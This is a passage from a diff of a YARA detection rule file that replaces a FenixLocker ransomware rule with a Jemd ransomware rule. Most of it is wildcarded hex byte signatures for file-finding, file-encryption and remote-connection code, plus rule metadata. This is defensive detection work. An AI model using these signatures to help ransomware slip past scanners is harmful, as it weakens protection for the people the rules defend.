-            56 FF D3 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? 56 68 ?? ?? ?? ??
-            6A ?? 6A ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 44 8C ?? 41 89 4C 24 ?? 47 83 C6
-            ?? 83 FF ?? 7E ?? 8B 54 24 ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 8D 44
-            24 ?? 50 8D 4C 24 ?? 51 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? FF 15
+            8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 0F 87 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 75 ?? 8B 4D ?? 89 4D ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 69 55 ?? ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ??
+            ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B
+            4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ??
+            ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ??
+            ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 8B 4D ?? 51 6A
+            ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ??
+            51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 8D 45 ?? 50 8B 4D ??
+            51 6A ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D ?? 51 FF
+            15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A
+            ?? 69 45 ?? ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ??
+            ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ??
+            50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55
+            ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9
+        }
+		$encrypt_files_p5 = {
+            E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8A 0D ?? ?? ?? ?? 88 4D ?? 33 D2 89 55
+            ?? 89 55 ?? 89 55 ?? 89 55 ?? 88 55 ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ??
+            ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 33 C9 89 8D ?? ?? ?? ?? 6A ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50
+            8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ??
+            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ??
+            ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ??
+            83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 45 ?? 50 8D 4D ??
+            51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8D 45 ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 50 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ??
+            75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ??
+            50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ??
+            ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 55 ?? 52 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8B 4D
+            ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B
+        }
+		$encrypt_files_p6 = {
+            45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8B 55 ??
+            52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D
+            ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ??
+            ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? 0F 57 C0 66 0F 13 45
+            ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D 95 ?? ??
+            ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ??
+            ?? B8 ?? ?? ?? ?? EB ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 55 ??
+            52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D
+            ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8
+            ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$remote_connection = {
+            55 8B EC 81 EC ?? ?? ?? ?? 8B 45 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ??
+            89 45 ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ??
+            ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8D 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? E8
+            ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? EB ?? 8B 4D ?? 8B 51 ??
+            89 55 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? C7 45 ?? ?? ?? ??
+            ?? 8B 4D ?? 8B 51 ?? 89 55 ?? EB ?? 8B 45 ?? 8B 48 ?? 89 4D ?? 83 7D ?? ?? 0F 84 ??
+            ?? ?? ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 83 C1 ?? 51 E8 ??
+            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? B9 ??
+            ?? ?? ?? 6B D1 ?? 8D 8C 15 ?? ?? ?? ?? 3B C1 74 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ??
+            52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 83 C8 ?? E9 ?? ??
+            ?? ?? 8D 55 ?? 89 55 ?? 8D 45 ?? 50 8B 4D ?? 0F B6 51 ?? 52 E8
+        }
+		$find_files_p1 = {
+            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
+            7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ??
+            03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ??
+            ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F
+            5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ??
+            ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ??
+            89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ??
+            ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ??
+            8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ??
+            8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7
+        }
+		$find_files_p2 = {
+            EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50
+            57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD
+            5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85
+            ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ??
+            ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D
+            ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8
+            ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ??
+            83 C4 ?? E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($remote_connection)
 }
-rule REVERSINGLABS_Win32_Ransomware_Fenixlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Jemd : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects FenixLocker ransomware."
+		description = "Yara rule that detects Jemd ransomware."
 		author = "ReversingLabs"
-		id = "4868ced4-885d-548c-993c-ae25ab188172"
+		id = "ef981ffa-8801-50f0-9441-5f2bfcf44133"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.FenixLocker.yara#L1-L143"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "72712616df2c73c5c17696a7c5cb93f767910acf5f49cda27373fccfa29c5a4d"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Jemd.yara#L1-L105"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "552e0fc118031e953dee2e7c6bf8234a5a90de8c34b0e2724dfe99f2b28b8c51"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -34592,142 +36226,96 @@ rule REVERSINGLABS_Win32_Ransomware_Fenixlocker : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "FenixLocker"
+		tc_detection_name = "Jemd"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_1 = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 68 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B F1 E8 ?? ?? ?? ?? 83 C4
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8D 85 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ??
-            E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5E 8B 4D ?? 33 CD E8 ?? ??
-            ?? ?? 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 33 C0 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50
-            FF B5 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ??
-            ?? ?? 50 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 46 ?? 50 89 85 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            85 C0 0F 84 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B F8
-            6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 7E ?? ?? 72 ?? 8B 36 FF B5 ?? ?? ?? ?? 56 57 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 57 6A ?? 6A ?? 6A ?? FF
-            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B
-            E5 5D C3 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 01 8B C7 8B 4D ?? 5F 33 CD 5E E8 ??
-            ?? ?? ?? 8B E5 5D C3
+		$find_files_1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 33 DB 89 9D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B
+            45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
+            64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 75
+            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B
+            45 ?? 50 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? B1 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
         }
-		$encrypt_files_2 = {
-            B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75
-            ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ??
-            F6 85 ?? ?? ?? ?? ?? 8D 55 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ??
-            8B F8 C6 45 ?? ?? 8B 4D ?? 8B 55 ?? 41 3B D1 77 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 55
-            ?? 8B 4D ?? 4A 8B 45 ?? 23 CA 03 C1 89 4D ?? 8B 4D ?? 23 D0 83 3C 91 ?? 8D 34 95 ??
-            ?? ?? ?? 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 89 04 31 8B 4D ?? 8B 0C 31 85
-            C9 74 ?? 57 E8 ?? ?? ?? ?? FF 45 ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40
-            3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B
-            C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83
-            C4 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45
-            ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ??
-            ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F
-            87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 85 F6 0F 8E ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ??
-            ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ??
-            0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
-            ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ??
-            ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ??
-            72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F
-            83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 8B 51 ?? 83 CA ?? 8B C2 83 C8 ?? 83 79 ??
-            ?? 0F 45 C2 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 57 FF
-            15 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ??
-            ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$find_files_2 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 4D ??
+            89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 8D B5 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? ?? ?? ?? 89
+            C3 BB ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4B 75 ?? 33 DB 8D 45 ?? 33 C9 BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8A 14 1E 88 54 05 ?? 40 43 80 3C 1E ?? 74 ?? 83 F8
+            ?? 7E ?? 43 8D 85 ?? ?? ?? ?? 8D 55 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 8D 55 ?? B9 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 80 7C 1E
+            ?? ?? 75 ?? 80 3C 1E ?? 74 ?? 81 FB ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 33 C0 5A 59 59 64
